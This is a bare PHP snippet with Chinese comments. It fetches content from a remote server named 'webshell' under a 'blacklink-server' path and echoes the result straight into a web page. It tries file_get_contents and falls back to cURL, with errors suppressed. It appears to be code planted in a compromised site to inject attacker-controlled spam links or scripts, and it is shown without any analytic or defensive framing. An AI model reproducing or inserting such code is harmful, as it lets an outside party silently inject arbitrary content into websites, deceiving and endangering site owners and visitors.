$remote_url = 'https://wts.webshell.pp.ua/api/blacklink-server/render'; $remote_content = null; // 优先尝试 file_get_contents if (ini_get('allow_url_fopen')) { $remote_content = @file_get_contents($remote_url); } // 如果上面失败了,并且 cURL 可用,则尝试 cURL if (empty($remote_content) && function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $remote_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $remote_content = @curl_exec($ch); curl_close($ch); } // 如果成功获取到内容,就直接显示出来 if (!empty($remote_content)) { echo '
' . $remote_content . '
'; }